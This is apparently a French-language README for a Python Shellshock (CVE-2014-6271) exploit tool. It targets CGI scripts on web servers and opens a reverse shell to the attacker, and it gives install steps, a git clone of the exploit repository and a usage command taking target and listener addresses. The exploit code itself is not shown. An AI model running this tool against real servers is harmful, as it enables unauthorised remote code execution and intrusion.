🚨 Exploit RCE Shellshock (CVE-2014-6271)

Il s'agit d'un exploit Python pour la vulnérabilité Shellshock (CVE-2014-6271), qui affecte GNU Bash. L'exploit cible les scripts CGI sur les serveurs web vulnérables et établit un reverse shell vers la machine de l'attaquant.

ID CVE

CVE-2014-6271

Avertissement

Cet outil est destiné uniquement à des fins éducatives et éthiques.

Fonctionnalités

• Exploite les scripts CGI vulnérables à l'aide de Shellshock
• Gestionnaire de reverse shell
• Prend en charge :
  • HTTP et HTTPS
  • Chemins CGI personnalisés
  • Prise en charge du proxy
• Shell interactif en cas de succès

Informations CVE

• CVE : CVE-2014-6271
• Vulnérabilité : injection de commandes dans les variables d'environnement de GNU Bash
• Impact : exécution de code à distance (RCE) en-têtes forgés pour les applications CGI

Prérequis

• Python 3.x
• pwntools
• requests

Installation

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

Exemple d'utilisation

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg